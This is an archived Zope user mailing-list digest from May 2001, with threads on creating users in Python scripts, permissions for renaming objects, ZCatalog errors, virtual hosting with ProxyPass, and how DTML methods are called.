http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From pamm@students.si.fct.unl.pt Wed May 2 14:59:28 2001 From: pamm@students.si.fct.unl.pt (Paula Mangas) Date: Wed, 2 May 2001 14:59:28 +0100 (WEST) Subject: [Zope] Creating a new user In-Reply-To: Message-ID: Hi! You can find the answer to your question on User.py file. You can find it on the zope hierarchy. your_zope_directory/lib/python/AccessControl Paula On Wed, 2 May 2001, Steve Drees wrote: > How would one do this in a python script? > > > -----Original Message----- > > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Arno > > Gross > > Sent: Wednesday, May 02, 2001 9:18 AM > > To: Blue, Neil; zope@zope.org > > Subject: Re: [Zope] Creating a new user > > > > > > With the following code you can add a new user: > > > > > > > > > > > > > > > > > > Best regards > > Arno > > > > On Wed, 02 May 2001, Blue, Neil wrote: > > > Hello, > > > > > > I have been looking at the API and I can't find a way to create a user > > > programatically. Am I right in thinking that this is not > > possible using the > > > standar user folder? > > > > > > Cheers > > > Neil Blue > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > -- ============================================================ Quando tiver duvidas, nao questione aqueles que so' tem certezas, pois corre o risco de ficar com mais duvidas!... ------------------------------------------------------------ Paula Monteiro Mangas e-mail: Paula.Mangas@mail.com URL: http://students.fct.unl.pt/~pamm/ TMV: (+351) 96 2559034 ============================================================ From chrisw@nipltd.com Wed May 2 15:03:15 2001 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 02 May 2001 15:03:15 +0100 Subject: [Zope] Creating a new user References: Message-ID: <3AF013A3.8BEB36AC@nipltd.com> Steve Drees wrote: > > How would one do this in a python script? REQUEST = context.REQUEST RESPONSE = REQUEST.RESPONSE REQUEST.set('name', 'theUserName) REQUEST.set('password', 'thePassword) REQUEST.set('confirm', 'thePassword') REQUEST.set('domains', []) REQUEST.set('roles', ['Manager', 'Owner']) context.acl_users.manage_users('Add', REQUEST,RESPONSE) cheers, Chris From mail@peterbe.com Wed May 2 15:07:46 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Wed, 2 May 2001 16:07:46 +0200 Subject: [Zope] rename objects permission Message-ID: <02e401c0d311$46f092d0$1c64a8c0@PBN> Which permission is need to have to NOT get this message: "You are not authorized to access manage_renameObjects. " I have a role which is only supposed to be able to rename Image objects and add/edit properties of Image objects. This user uses a special interface I built and does not go /manage. Tried the: Change Images and Files ...permission but that wasn't it. Cheers, Peter From tim@freepm.org Wed May 2 15:11:05 2001 From: tim@freepm.org (Tim Cook) Date: Wed, 02 May 2001 09:11:05 -0500 Subject: [Zope] Creating a new user References: <55E9531220EDD41186F50090274688BD139306@oranamesrvr0.synomics.com> <3AF0095A.30B1BEB9@nipltd.com> Message-ID: <3AF01579.73E4AC59@iswt.com> Chris Withers wrote: > > "Blue, Neil" wrote: > > > > programatically. Am I right in thinking that this is not possible using the > > standar user folder? > > No, you are not right ;-) Something the 'old-timers' here drilled into me: "If you can do it from the ZMI, you can do it in your code too." The source awaits you! -- Tim Cook, President - FreePM,Inc. http://www.FreePM.com Office: (731) 884-4126 ONLINE DEMO: http://www.freepm.org:8080/FreePM From tpassin@mitretek.org Wed May 2 15:14:18 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Wed, 2 May 2001 10:14:18 -0400 Subject: [Zope] parsing xml files References: <005601c0d2df$4e259640$0200a8c0@iuvenonet.de> Message-ID: <004a01c0d312$2d554950$38a3f1ce@mitretek.org> [Joachim Werner] > ParsedXML should do what you want: > http://www.zope.org/Members/karl/ParsedXML/ParsedXML > Except that there is no binary. You have to build it, and a lot of us can't or won't. Tom P From sven@ecubateur.com Wed May 2 15:15:37 2001 From: sven@ecubateur.com (ecubateur / sven) Date: Wed, 2 May 2001 16:15:37 +0200 Subject: [Zope] parsing xml files In-Reply-To: <004a01c0d312$2d554950$38a3f1ce@mitretek.org> Message-ID: > ParsedXML should do what you want: > http://www.zope.org/Members/karl/ParsedXML/ParsedXML Except that there is no binary. You have to build it, and a lot of us can't or won't. in fact, since i'm doing that on a live server, i'm not very fond of doing it and possibly messing something up :-S and yes, i'd prefer having a binary ;-))) ok, so parsedxml seems to be the best solution to my problem, i'll guess i'll have to look into it (hope it doesn't crash my machine ;-) bye, $ven From tpassin@mitretek.org Wed May 2 15:19:43 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Wed, 2 May 2001 10:19:43 -0400 Subject: [Zope] Passing the value of a checkbox from a form to a dtml- method References: <7BD10B680501D411B9DF009027E06F32197CDD@exchange> <01050121094800.01528@squidbitch.mmmanager.org> Message-ID: <005601c0d312$eec7afb0$38a3f1ce@mitretek.org> A better way to look at the form data is to create a dtml document containing Make this document the value of the "action" attribute of the form. Then you will get a clear, easy-to-understand display of the form contents. Tom P [Gitte Wange] Okay I have figured out that if a checkbox isn't marked, then no value will be sent. But when i tried this, the checkbox WAS checked .... I could see in the URL string that it doesn't pass the value ... i have other text fields in the form, e.g. name, and this one is passed like this: /index_html?name=fgbfgf&something=djfbjsgb ... but isPublic doesn't show up here ... not even without a value !!! From demic.pabalan@q-linux.com Wed May 2 15:37:59 2001 From: demic.pabalan@q-linux.com (demiQ) Date: Wed, 2 May 2001 22:37:59 +0800 Subject: [Zope] Creating a new user Message-ID: <001401c0d315$7cdff580$640c0b0a@demic> -----Original Message----- From: Paula Mangas To: Steve Drees Cc: zope@zope.org Date: Wednesday, May 02, 2001 10:02 PM Subject: RE: [Zope] Creating a new user > > > >Hi! > > >You can find the answer to your question on User.py file. You can find it >on the zope hierarchy. your_zope_directory/lib/python/AccessControl Hi paula, I just want to ask a question related to this.(newbie) After creating a new user, how will i access the web pages that was created by the new user, what is the default page ? http://example.com:8080/??? > >Paula > > > >On Wed, 2 May 2001, Steve Drees wrote: > >> How would one do this in a python script? >> >> > -----Original Message----- >> > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Arno >> > Gross >> > Sent: Wednesday, May 02, 2001 9:18 AM >> > To: Blue, Neil; zope@zope.org >> > Subject: Re: [Zope] Creating a new user >> > >> > >> > With the following code you can add a new user: >> > >> > >> > >> > >> > >> > >> > >> > >> > Best regards >> > Arno >> > >> > On Wed, 02 May 2001, Blue, Neil wrote: >> > > Hello, >> > > >> > > I have been looking at the API and I can't find a way to create a user >> > > programatically. Am I right in thinking that this is not >> > possible using the >> > > standar user folder? >> > > >> > > Cheers >> > > Neil Blue >> > >> > _______________________________________________ >> > Zope maillist - Zope@zope.org >> > http://lists.zope.org/mailman/listinfo/zope >> > ** No cross posts or HTML encoding! ** >> > (Related lists - >> > http://lists.zope.org/mailman/listinfo/zope-announce >> > http://lists.zope.org/mailman/listinfo/zope-dev ) >> > >> >> _______________________________________________ >> Zope maillist - Zope@zope.org >> http://lists.zope.org/mailman/listinfo/zope >> ** No cross posts or HTML encoding! ** >> (Related lists - >> http://lists.zope.org/mailman/listinfo/zope-announce >> http://lists.zope.org/mailman/listinfo/zope-dev ) >> > >-- > >============================================================ > Quando tiver duvidas, nao questione aqueles que so' tem > certezas, pois corre o risco de ficar com mais duvidas!... >------------------------------------------------------------ >Paula Monteiro Mangas > >e-mail: Paula.Mangas@mail.com >URL: http://students.fct.unl.pt/~pamm/ >TMV: (+351) 96 2559034 >============================================================ > > >_______________________________________________ >Zope maillist - Zope@zope.org >http://lists.zope.org/mailman/listinfo/zope >** No cross posts or HTML encoding! ** >(Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From muldrow@mac.com Wed May 2 11:24:17 2001 From: muldrow@mac.com (Chris Muldrow) Date: Wed, 02 May 2001 10:24:17 +0000 Subject: [Zope] getitem in pythonscript In-Reply-To: <01050115233102.00745@tokey> Message-ID: I'm using __getitem__ inside a script like so: objectRendered = workDir.__getitem__(docs) where workDir is a container and docs is a string Does that do what you're looking for? > From: bak (kedai) > Date: Tue, 1 May 2001 15:23:31 +0800 > To: zope@zope.org > Subject: [Zope] getitem in pythonscript > > hi > what's the equivalent of _.getitem(stuff) in python script? > the only way i know of is by binding _, and refer to it as > ob=_.getitem(stuff) > > is this the *only* way? > > thanks > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tino@wildenhain.de Wed May 2 15:32:50 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Wed, 02 May 2001 16:32:50 +0200 Subject: [Zope] parsing xml files In-Reply-To: Message-ID: <978692240.988821170@BUZZER> Hi Sven, never ever install a product the first time on a life system! Make a copy of it to somewhere and test it. Always keep a save copy of your Data.fs under your pillow! Regards Tino --On Mittwoch, 2. Mai 2001 16:15 +0200 "ecubateur / sven" wrote: >> ParsedXML should do what you want: >> http://www.zope.org/Members/karl/ParsedXML/ParsedXML > > Except that there is no binary. You have to build it, and a lot of us > can't or won't. > > in fact, since i'm doing that on a live server, i'm not very fond of doing > it and possibly messing something up :-S > > and yes, i'd prefer having a binary ;-))) > > ok, so parsedxml seems to be the best solution to my problem, i'll guess > i'll have to look into it (hope it doesn't crash my machine ;-) > > bye, > > $ven > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From joe@iuveno-net.de Wed May 2 15:36:18 2001 From: joe@iuveno-net.de (Joachim Werner) Date: Wed, 2 May 2001 16:36:18 +0200 Subject: [Zope] phpWebEd References: Message-ID: <001901c0d315$403eb800$0200a8c0@iuvenonet.de> Hi! > What do you think about phpWebEd on > > http://www.nm-service.de/products.html?pid=pwe > > Is this usable under Zope? It is definitely not usable out-of-the-box with Zope. But it has a nice basic concept. We are currently doing this kind of stuff in Zope, too: - in-site editing: We are using a modified version of "IEMethod" to handle the WYSIWYG-part; unfortunately this is an Internet-Explorer only feature :-( - "boxes" that can be created on the left, in the middle, and on the right of the site - much more, like integrating syndicated data from News services etc. So if you want to do what WebEd does under Zope, I'd suggest looking at http://demo.iuveno-net.de/iuveno/Products/CMS. The online demo is not up and running yet, but it should be there by end of next week. If you want to see it now, you'll have to mail us ... Joachim From pamm@students.si.fct.unl.pt Wed May 2 15:34:30 2001 From: pamm@students.si.fct.unl.pt (Paula Mangas) Date: Wed, 2 May 2001 15:34:30 +0100 (WEST) Subject: [Zope] Creating a new user In-Reply-To: <001401c0d315$7cdff580$640c0b0a@demic> Message-ID: Hi! > >You can find the answer to your question on User.py file. You can find it > >on the zope hierarchy. your_zope_directory/lib/python/AccessControl > > Hi paula, I just want to ask a question related to this.(newbie) > > After creating a new user, how will i access the web pages that was created > by the new user, what is the default page ? http://example.com:8080/??? I'm doing the same thing too, and what i do is create an directory to the user and inside it you can put an index_html object, for example. And, when you create de new user, you can call the object. Something like that will work. :-) Paula From freespacefoundation@yahoo.com Wed May 2 15:36:38 2001 From: freespacefoundation@yahoo.com (Darin Arrick) Date: Wed, 2 May 2001 10:36:38 -0400 Subject: [Zope] [Info] Sourceforge-like product for Zope? Message-ID: I'm new to Zope, but I love it so far. I haven't dug very deeply into it, but have started reading the newly completed book online and hope to get more knowledgeable about it. Anyway, I basically need my own "SourceForge", a collaborative system for open source hardware and software development. I've thought about using the SourceForge code itself, but I don't know Perl. I know I could start to build something similar with some Zope products, but don't really know how to go about it. Is there a product or two for Zope that would give me the functionality I want? Do you have any other suggestions? Thank you for your time. And, thanks for Zope! Sincerely, Darin Basil Arrick freespacefoundation@yahoo.com __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From joe@iuveno-net.de Wed May 2 15:43:35 2001 From: joe@iuveno-net.de (Joachim Werner) Date: Wed, 2 May 2001 16:43:35 +0200 Subject: [Zope] [Info] Sourceforge-like product for Zope? References: Message-ID: <005501c0d316$4469cea0$0200a8c0@iuvenonet.de> ----- Original Message ----- From: Darin Arrick (By way of gary@digicool.com) To: Zope Questions Sent: Wednesday, May 02, 2001 4:36 PM Subject: [Zope] [Info] Sourceforge-like product for Zope? I'm new to Zope, but I love it so far. I haven't dug very deeply into it, but have started reading the newly completed book online and hope to get more knowledgeable about it. Anyway, I basically need my own "SourceForge", a collaborative system for open source hardware and software development. I've thought about using the SourceForge code itself, but I don't know Perl. I know I could start to build something similar with some Zope products, but don't really know how to go about it. Is there a product or two for Zope that would give me the functionality I want? Do you have any other suggestions? Thank you for your time. And, thanks for Zope! Sincerely, Darin Basil Arrick freespacefoundation@yahoo.com __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From cduncan@kaivo.com Wed May 2 15:42:06 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Wed, 02 May 2001 08:42:06 -0600 Subject: [Zope] Catalog Anything Problem References: <003c01c0d2ce$4cc5c7e0$1e01a8c0@dialognet.com> Message-ID: <3AF01CBE.AF119719@kaivo.com> > Bobby Mathew wrote: > [snip] > > Now i went into the Find Objects section and searched for the > getProdtoCatalog zsql method and added to the catalog > This should not be necessary, the ZSQL method itself should not be cataloged > Next i went and created the python script (again under the Products > ZCatalog itself) and i called it catalogProducts this is the code > inside > So, both the ZSQL method and the python script are contained by the ZCatalog correct? In other words they are listed under the Contents tab of the Products catalog. [snip] > > Zope Error > > Zope has encountered an error while publishing this resource. > > Error Type: AttributeError > Error Value: getProdToCatalog > This means the ZSQL method is not in the same container as the Python script, or the container binding in the Python script is messed up. Have the bindings been changed? P.S. Please do not post HTML formatted emails to the list! Thanks. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From joe@iuveno-net.de Wed May 2 15:49:17 2001 From: joe@iuveno-net.de (Joachim Werner) Date: Wed, 2 May 2001 16:49:17 +0200 Subject: [Zope] [Info] Sourceforge-like product for Zope? References: Message-ID: <005b01c0d317$10890e60$0200a8c0@iuvenonet.de> I think I have answered this question two days ago or so ;-) > Anyway, I basically need my own "SourceForge", a collaborative system for > open source hardware and software development. I've thought about using > the SourceForge code itself, but I don't know Perl. I know I could start > to build something similar with some Zope products, but don't really know how > to go about it. > Is there a product or two for Zope that would give me the functionality I > want? Do you have any other suggestions? AFAIK there is nothing like sourceforge for Zope yet. But most of the stuff is there already, just not integrated well: - bugtrackers - community portal tools (like Squishdot, CMF) - user management ... We at iuveno would like to see zope.org become something like sourceforge (not only, but also ...), and we are working on some basic code for groupware that could be used (see http://demo.iuveno-net.de). Anybody who wants to support developing such a beast: feel free to tell us ;-) Joachim From Sven.Syld@stat.ee Wed May 2 15:02:05 2001 From: Sven.Syld@stat.ee (Sven Syld) Date: Wed, 02 May 2001 17:02:05 +0300 Subject: [Zope] Set expire date for file Message-ID: > the constructor of images and files looks like this: > def __init__(self, id, title, file, content_type=3D'', precondition=3D'')= > the optional precondition can take the id of a method which is called > when the image/file is published, e.g. its index_html methods gets > called. > You only have to make a method in the acquisition path wich reads this > (in dtml) > > Value of the expiring date needs to be according to RFC1322 standard, but = rfc822() attribute of DateTime will do just fine. And time must be = converted to GMT+0. Thanks, Sven From cduncan@kaivo.com Wed May 2 16:12:13 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Wed, 02 May 2001 09:12:13 -0600 Subject: [Zope] Batchsize looping problem References: <021301c0d2ed$ef45b920$1c64a8c0@PBN> <3AEFEDD8.58A61F2F@nipltd.com> <02ae01c0d307$b0114ed0$1c64a8c0@PBN> Message-ID: <3AF023CD.BE3783E1@kaivo.com> Peter Bengtsson wrote: > [snip] > > DC, people! This causes a lot of confusion :) > I'm thinking about adding that to my sig 8^) -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From kedai@kedai.com.my Wed May 2 16:04:20 2001 From: kedai@kedai.com.my (Bak @ kedai) Date: Wed, 2 May 2001 23:04:20 +0800 Subject: [Zope] getitem in pythonscript Message-ID: <006901c0d319$2b040220$625eb8ca@defaultcn> -----Original Message----- From: Chris Muldrow To: bak (kedai) ; zope@zope.org Date: Wednesday, May 02, 2001 10:25 PM Subject: Re: [Zope] getitem in pythonscript >I'm using __getitem__ inside a script like so: >objectRendered = workDir.__getitem__(docs) >where workDir is a container and docs is a string >Does that do what you're looking for? i've tried this but got a name error, iirc. i'll give it another shot at work tomorrow > >> From: bak (kedai) >> Date: Tue, 1 May 2001 15:23:31 +0800 >> To: zope@zope.org >> Subject: [Zope] getitem in pythonscript >> >> hi >> what's the equivalent of _.getitem(stuff) in python script? >> the only way i know of is by binding _, and refer to it as >> ob=_.getitem(stuff) >> >> is this the *only* way? >> >> thanks >> >> _______________________________________________ >> Zope maillist - Zope@zope.org >> http://lists.zope.org/mailman/listinfo/zope >> ** No cross posts or HTML encoding! ** >> (Related lists - >> http://lists.zope.org/mailman/listinfo/zope-announce >> http://lists.zope.org/mailman/listinfo/zope-dev ) > From cduncan@kaivo.com Wed May 2 16:26:03 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Wed, 02 May 2001 09:26:03 -0600 Subject: [Zope] Calling dtml method from PythonScript, _.None, _ ? References: <3AEFD2CA.21235.1E57E8FB@localhost> Message-ID: <3AF0270B.561FE38A@kaivo.com> Brad Clements wrote: > > I'm trying to eliminate query strings on my DHTML methods, to convert > > http://myhost.com/Products?productid=xyz > > into > > http://myhost.com/ProcessPath/xyz/ProductInfo.htm > > I've created a Python Script (2.3.2) that looks like this: > > --- > target = traverse_subpath[-1] > if target == 'ProductInfo.htm': > container.Products(context,productid=traverse_subpath[0]) > > --- > You might try: container.Products(container.Products, productid=traverse_subpath[0]) The first parameter of a DTML object call is the "client". If you pass the object itself as the client this generally works. Keep in mind that you are now passing your URL arguments as keywords rather than through REQUEST. This makes a big difference in where they show up in the namespace (at the top rather than the bottom), and ZSQL methods will not see them without explicitly passing them along. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From rkeppner@idiglobal.com Wed May 2 16:30:56 2001 From: rkeppner@idiglobal.com (Russell Keppner) Date: Wed, 2 May 2001 09:30:56 -0600 Subject: [Zope] RFC - newbie with a zope product In-Reply-To: References: Message-ID: <01050209305600.09321@russell> Your product has started me in the right direction, but I wonder if you could answer a question for me. I created the User Friendly sample (and named the object "userFriendly") and the display method (named "show"), and everything worked as expected. But if I call userFriendly from another DTML method with , it just returns something like . Is there a way to call KebasData objects from DTML methods? I would like to be able to use multiple KebasData objects on the same page. Thanks. Russell Keppner On Thursday 19 April 2001 10:04 am, bak (kedai) wrote: >hello >i'm not sure whether this is a proper thing to do, but here goes > >i jsut made myself a python product that grabs a page, and return a list of >items; depending on a few regular expression patterns. > >any kind soul could spare a few minutes to look and comment on my codes? >what i missed out, what should be done, etc > >http://www.kedai.com.my/dll/KebasData.tar.gz >tia > >p/s - no docs as yet since this is still in testing phase From cduncan@kaivo.com Wed May 2 16:37:14 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Wed, 02 May 2001 09:37:14 -0600 Subject: [Zope] rename objects permission References: <02e401c0d311$46f092d0$1c64a8c0@PBN> Message-ID: <3AF029AA.F495625B@kaivo.com> Peter Bengtsson wrote: > > Which permission is need to have to NOT get this message: > "You are not authorized to access manage_renameObjects. " > > I have a role which is only supposed to be able to rename Image objects and > add/edit properties of Image objects. > This user uses a special interface I built and does not go /manage. > > Tried the: > Change Images and Files > ...permission but that wasn't it. > > Cheers, Peter > I believe it would be "Manage Properties" although I could be wrong. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From mail@peterbe.com Wed May 2 16:18:12 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Wed, 2 May 2001 17:18:12 +0200 Subject: [Zope] [Info] Sourceforge-like product for Zope? References: Message-ID: <032501c0d31d$e9ac9d50$1c64a8c0@PBN> Save yourself LOTS of money and hire a Perl developer for a day and then let him install the SourceForge code. Let the contractor be assisted by a designer, so that the designer knows where to go to change lookandfeel. Boring, Peter ----- Original Message ----- From: "Darin Arrick (By way of gary@digicool.com)" To: "Zope Questions" Sent: Wednesday, May 02, 2001 4:36 PM Subject: [Zope] [Info] Sourceforge-like product for Zope? I'm new to Zope, but I love it so far. I haven't dug very deeply into it, but have started reading the newly completed book online and hope to get more knowledgeable about it. Anyway, I basically need my own "SourceForge", a collaborative system for open source hardware and software development. I've thought about using the SourceForge code itself, but I don't know Perl. I know I could start to build something similar with some Zope products, but don't really know how to go about it. Is there a product or two for Zope that would give me the functionality I want? Do you have any other suggestions? Thank you for your time. And, thanks for Zope! Sincerely, Darin Basil Arrick freespacefoundation@yahoo.com __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From mail@peterbe.com Wed May 2 16:43:49 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Wed, 2 May 2001 17:43:49 +0200 Subject: [Zope] rename objects permission References: <02e401c0d311$46f092d0$1c64a8c0@PBN> <3AF029AA.F495625B@kaivo.com> Message-ID: <035101c0d31e$b5709db0$1c64a8c0@PBN> > > Which permission is need to have to NOT get this message: > > "You are not authorized to access manage_renameObjects. " > > > > I have a role which is only supposed to be able to rename Image objects and > > add/edit properties of Image objects. > > This user uses a special interface I built and does not go /manage. > > > > Tried the: > > Change Images and Files > > ...permission but that wasn't it. > > > > Cheers, Peter > > > > I believe it would be "Manage Properties" although I could be wrong. Nops! Tried that. > -- > | Casey Duncan > | Kaivo, Inc. > | cduncan@kaivo.com > `------------------> From evan@4-am.com Wed May 2 16:51:48 2001 From: evan@4-am.com (Evan Simpson) Date: Wed, 2 May 2001 10:51:48 -0500 Subject: [Zope] SiteAccess and broken manage links References: <000901c0d2d7$fbfc6e40$c3090740@megapathdsl.net> Message-ID: <00da01c0d31f$ce9ff410$2a01000a@evansys> From: "Jason Cunliffe" > Zope is reached at http://www.mysite.com/zope > > ProxyPass /zope http://www.mysite.com:8888/ You don't mention using a SiteRoot, and you're clearly not using a VirtualHostMonster. Either of these can fix your problem. A SiteRoot in your root Folder with blank Base and "zope" as its Path should work, although it will muck things up if you try to access the site other than through the ProxyPass. A VirtualHostMonster in your root Folder will allow you to precisely target the problem. It requires changing the ProxyPass to: ProxyPass /zope http://www.mysite.com:8888/VirtualHostBase/http/www.mysite.com:80/Virtua lHostRoot/_vh_zope Cheers, Evan @ digicool & 4-am From evan@4-am.com Wed May 2 16:57:45 2001 From: evan@4-am.com (Evan Simpson) Date: Wed, 2 May 2001 10:57:45 -0500 Subject: [Zope] getitem in pythonscript References: <01050115233102.00745@tokey> Message-ID: <00db01c0d320$a1816580$2a01000a@evansys> From: "bak (kedai)" > what's the equivalent of _.getitem(stuff) in python script? _.getitem implements a lot of namespace magic, including complex lookup rules and automatic rendering. There are more explicit substitutes, though: 1. getattr(object, stuff): Use if you know which object (context or container, for instance) has an attribute that you are looking for, or can acquire it. 2. f[stuff]: Use to get an object contained in Folder "f". 3. container.REQUEST.get(stuff): Use to get a value from the REQUEST. Cheers, Evan @ digicool & 4-am From rbickers@logicetc.com Wed May 2 16:59:12 2001 From: rbickers@logicetc.com (Ron Bickers) Date: Wed, 2 May 2001 11:59:12 -0400 Subject: [Zope] RE: Catalog Anything Problem In-Reply-To: <003c01c0d2ce$4cc5c7e0$1e01a8c0@dialognet.com> Message-ID: > -----Original Message----- > From: Bobby Mathew [mailto:bobby@dialognet.com] > Sent: Wednesday, May 02, 2001 2:08 AM > To: rbickers@logicetc.com > Cc: zope@zope.org > Subject: Catalog Anything Problem > > Since i am a newbie i was not sure what you meant in the > cataloganything doc when you said... > ============= > Setting Up the Catalog ... I meant exactly what you did, set up the catalog as you would for any type of search. > postgres. So i just didnt do anything further. I have a products > table in the postgres rdbms that i want to search by title and > description. So after this i created a zsql method called > getProdtoCatalog under the ZCatalog itself - the query i used is > Now i went into the Find Objects section and searched for the > getProdtoCatalog zsql method and added to the catalog As mentioned by Casey, this is not necessary. In fact, you want these *not* in the catalog. > Next i went and created the python script (again under the > Products ZCatalog itself) and i called it catalogProducts this is > the code inside > for book in container.getProdToCatalog(): > container.catalog_object(Product, > '/learn/search/Products/'+Product.Number+'/proddetails.html') > print 'Product #' + Product.Number > return printed Your first parameter to catalog_object is 'Product', but there is no such object. It should probably read: for Product in container.getProdToCatalog(): This, BTW, pointed me to the same mistake in the catalogArticles() Python script of my HowTo, which I just fixed. Also, is it getProdToCatalog or getProdtoCatalog? Case is important and this may be why you're getting the exception. _______________________ Ron Bickers Logic Etc, Inc. rbickers@logicetc.com From cduncan@kaivo.com Wed May 2 17:12:20 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Wed, 02 May 2001 10:12:20 -0600 Subject: [Zope] rename objects permission References: <02e401c0d311$46f092d0$1c64a8c0@PBN> <3AF029AA.F495625B@kaivo.com> <035101c0d31e$b5709db0$1c64a8c0@PBN> Message-ID: <3AF031E4.9FA41F94@kaivo.com> Peter Bengtsson wrote: > > > > > I believe it would be "Manage Properties" although I could be wrong. > > Nops! Tried that. > After reading the all knowing source and experimenting here are the permissions you need: Access contents information View View Management Screens Delete Objects Add (Insert Object Type here) The last permission controls what types of objects can be renamed. There is no way to restrict access to the rename form, however, simply having View Management screens gives you that. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From pjgrizel@mouli.net Wed May 2 17:17:46 2001 From: pjgrizel@mouli.net (Pierre-Julien Grizel) Date: Wed, 02 May 2001 18:17:46 +0200 Subject: [Zope] [ANNOUNCE] A French Zope Book ! Message-ID: <3AF0332A.18238AFC@mouli.net> Hi, I'm glad to tell you I wrote a whole book on Zope. It will be released by the french editor Eyrolles around 6/15/2001. There are 3 main parts: - Zope for webmasters (install, DTML, forms & cookies, ZCatalog, ...) - Zope for programmers (ZSQL, Python, ZClasses, products, conception, ...) - Cases studies (An internet/intranet website, an electronic commerce solution and an LDAP web interface) I think this is a nice information for the Zope community - and especially the active french Zope community. There are the book references : Title: Zope With three cases studies Author: Pierre-Julien Grizel Editor: Eyrolles / Collection Solutions Développeurs More than 400 pages ISBN: 2-212-09281-x Price: Around 249 F (around 40.8 Euros) Regards, Pierre-Julien Grizel From mail@peterbe.com Wed May 2 17:15:45 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Wed, 2 May 2001 18:15:45 +0200 Subject: [Zope] StructuredText in Python Scripts Message-ID: <03a301c0d326$c3602550$1c64a8c0@PBN> Howdy! Tried: "from StructuredText import StructuredText" in a python script but "Error Type: ImportError Error Value: import of "StructuredText" from "StructuredText" is unauthorized" I can import from Products.PythonScripts.standard import structured_text But this structured_text isn't the same as the StructuredText module, is it? I basically want to format text like one does in say a ZWiki. Cheers, Peter From evan@4-am.com Wed May 2 17:51:45 2001 From: evan@4-am.com (Evan Simpson) Date: Wed, 2 May 2001 11:51:45 -0500 Subject: [Zope] DTML calling explained References: <3AEFD2CA.21235.1E57E8FB@localhost> Message-ID: <010001c0d328$2cd086f0$2a01000a@evansys> From: "Brad Clements" > target = traverse_subpath[-1] > if target == 'ProductInfo.htm': > container.Products(context,productid=traverse_subpath[0]) In this case, you probably want to use: container.Products(container.Products, context.REQUEST, productid=traverse_subpath[0]) ..or.. req = context.REQUEST req.set('productid', traverse_subpath[0]) container.Products(context, req) Lecture time: DTML Methods have the call signature: (client=None, REQUEST={}, RESPONSE=None, **kw) When a Method is the target of a URL, ZPublisher calls it like this: method(context, REQUEST, RESPONSE) The Method creates a namespace and pushes some standard shared data onto it, followed by the REQUEST and the context object (the object on which the method is being called). RESPONSE is just used to set up headers properly, and can be ignored; You shouldn't pass it yourself. Now the context is on top of the namespace, so the Method has access to its attributes (including acquired ones). If a name is not found in the context, the REQUEST is searched next. When DTML calls a DTML Method using , it does so like this: method(None, _) The trick, here, is that the namespace "_" already contains the client, request, and keyword arguments that were passed to the *calling* DTML Method. The called Method notices that it has been given a valid namespace, and adopts it. There is no client, and no keyword arguments, so nothing else gets pushed onto the namespace. The called method has access to the exact same set of names as the caller did when it performed the call. When you call a DTML Method from Python, whether it be filesystem code, a Script, or an expression in DTML or a Page Template, you must decide what information to make available to it. If you have access to a properly constructed namespace (it was passed to you, or bound by your Script) you can simply pass it along: method(None, namespace) Otherwise, you will probably want to call it like ZPublisher does, passing a client and the REQUEST. A reasonable client to choose is the object from which you are acquiring the method (assuming that you haven't simply been handed the method), and you can probably acquire the REQUEST from it as well (or from your container). This gives you: container.Products(container.Products, context.REQUEST) If you want to pass additional data, you have two choices. You can use keyword arguments, in which case you might override names in the client or REQUEST. Second, you can add the data to the REQUEST using set(), in which case it might be hidden by names in the client or REQUEST. Cheers, Evan @ digicool & 4-am From 